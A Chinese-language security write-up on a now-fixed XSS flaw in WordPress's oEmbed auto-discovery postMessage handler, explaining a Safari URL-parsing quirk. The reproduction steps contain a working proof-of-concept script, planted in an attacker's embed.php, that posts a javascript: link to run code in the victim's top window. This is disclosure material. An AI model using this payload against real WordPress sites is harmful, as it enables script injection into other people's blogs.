WordPress开放嵌入自动发现功能中的XSS漏洞分析

WordPress开放嵌入自动发现功能中的XSS漏洞

引言

用户常常认为知名软件没有安全漏洞,因为它已经被足够多的工具和安全测试人员检查过。然而,渗透测试人员或漏洞猎人不能做出这样的假设。漏洞可能潜伏在各种地方,找到一个有趣的漏洞通常需要耐心的搜索。

应用这种方法让我在像WordPress这样知名的CMS中发现了一个XSS类漏洞,我将在后文描述。

什么是postMessage()?

为了理解我的思路和方法,我首先需要讨论postMessage()是什么。它是Web API的一部分,允许Window对象之间进行安全跨源通信,这意味着该方法可以从一个窗口向另一个窗口发送消息,无论它们的来源如何。然而,错误使用此功能可能会打开潜在的安全漏洞向量,例如本文讨论的XSS。

根本原因

让我们看看问题的核心------JavaScript postMessage处理程序:

javascript 复制代码
if (c.wp.receiveEmbedMessage = function(e) {
    var t = e.data;
    if (t)
        if (t.secret || t.message || t.value)
            if (!/[^a-zA-Z0-9]/.test(t.secret)) {
                for (var r, a, i, s = d.querySelectorAll('iframe[data-secret="' + t.secret + '"]'), n = d.querySelectorAll('blockquote[data-secret="' + t.secret + '"]'), o = 0; o < n.length; o++)
                    n[o].style.display = "none";
                for (o = 0; o < s.length; o++)
                    if (r = s[o],
                    e.source === r.contentWindow) {
                        if (r.removeAttribute("style"),
                        "height" === t.message) {
                            if (1e3 < (i = parseInt(t.value, 10)))
                                i = 1e3;
                            else if (~~i < 200)
                                i = 200;
                            r.height = i
                        }
                        if ("link" === t.message)
                            if (a = d.createElement("a"),
                            i = d.createElement("a"),
                            a.href = r.getAttribute("src"),
                            i.href = t.value,
                            i.host === a.host)
                                if (d.activeElement === r)
                                    c.top.location.href = t.value
                    }
            }
}

在这段代码中可以注意到:

  • 需要知道密钥(但它作为嵌入网页的location.hash提供,所以不是问题)
  • 只有内容窗口可以发送postMessages(这很好,因为这是攻击者网站)
  • 如果postMessage数据的message属性有link值------会发生疯狂的事情

最重要的是c.top.location.href = t.value,其中t是攻击者控制的postMessage数据。

最后一点显然可能导致XSS,如果攻击者使用javascript:alert(document.domain)作为t.value,然而------在此之前进行了一个重要的检查:

javascript 复制代码
if (a = d.createElement("a"),
    i = d.createElement("a"),
    a.href = r.getAttribute("src"),
    i.href = t.value,
    i.host === a.host)

这段代码检查t.value中提供的主机名是否与嵌入页面的主机名相同。它创建元素,但t.value作为href属性,然后------获取创建的URL的host属性。这种方法当然比某些正则表达式魔法更好,但Safari浏览器有一个特定的行为:
[```javascript

var a = document.createElement("a")
a.href="javascript://google.com/%0aalert(document.domain);//"
console.log(a.host)
< google.com

复制代码
所有其他浏览器在使用javascript:方案时返回空字符串,但Safari不会。这可能导致攻击者使用javascript方案并在顶级窗口(受害者的博客)中执行javascript代码。
### 复现步骤
1. 获取一个恶意的WordPress实例
2. 编辑wordpress/wp-includes/theme-compat/embed.php文件并添加自定义HTML代码:
```html
<script>
if(document.location.hash.indexOf("secret") != -1) {
secret = document.location.hash.split("=")[1];
window.top.postMessage({"secret":secret,"message":"link","value":"javascript://"+document.location.host+"/%0aalert(document.domain);//"},"*");
}
</script>
  1. 在攻击者博客上创建任何帖子,发布并获取其URL
  2. 在受害者WordPress站点(Safari)上添加新帖子,嵌入来自受害者WordPress的帖子
  3. 警报执行:
    ![XSS警报执行示意图]

总结

这个分析和发现的漏洞表明,即使是像WordPress这样广泛使用的平台也不能免于XSS等已知漏洞。
我们在JavaScript postMessage处理程序中发现的问题显示了渗透测试人员如何利用不同Web浏览器工作原理的深入知识,攻击被认为安全的函数。这个问题现在已经修复,但它向所有创建网站和Web应用程序的人传达了一个明确的信息:安全审计需要持续进行并覆盖所有Web浏览器。

参考资料](https://link.juejin.cn?target= "")

相关推荐
西猫雷婶44 分钟前
pytorch基本运算-Python控制流梯度运算
人工智能·pytorch·python·深度学习·神经网络·机器学习
说私域1 小时前
新零售第一阶段传统零售商的困境突破与二次增长路径:基于定制开发开源AI智能名片S2B2C商城小程序的实践探索
人工智能·开源·零售
寒月霜华1 小时前
机器学习-模型验证
人工智能·深度学习·机器学习
救救孩子把2 小时前
3-机器学习与大模型开发数学教程-第0章 预备知识-0-3 函数初步(多项式、指数、对数、三角函数、反函数)
人工智能·数学·机器学习
CareyWYR2 小时前
每周AI论文速递(250908-250912)
人工智能
张晓~183399481212 小时前
短视频矩阵源码-视频剪辑+AI智能体开发接入技术分享
c语言·c++·人工智能·矩阵·c#·php·音视频
deephub3 小时前
量子机器学习入门:三种数据编码方法对比与应用
人工智能·机器学习·量子计算·数据编码·量子机器学习
AI 嗯啦3 小时前
计算机视觉----opencv实战----指纹识别的案例
人工智能·opencv·计算机视觉
max5006003 小时前
基于多元线性回归、随机森林与神经网络的农作物元素含量预测及SHAP贡献量分析
人工智能·python·深度学习·神经网络·随机森林·线性回归·transformer
trsoliu3 小时前
前端基于 TypeScript 使用 Mastra 来开发一个 AI 应用 / AI 代理(Agent)
前端·人工智能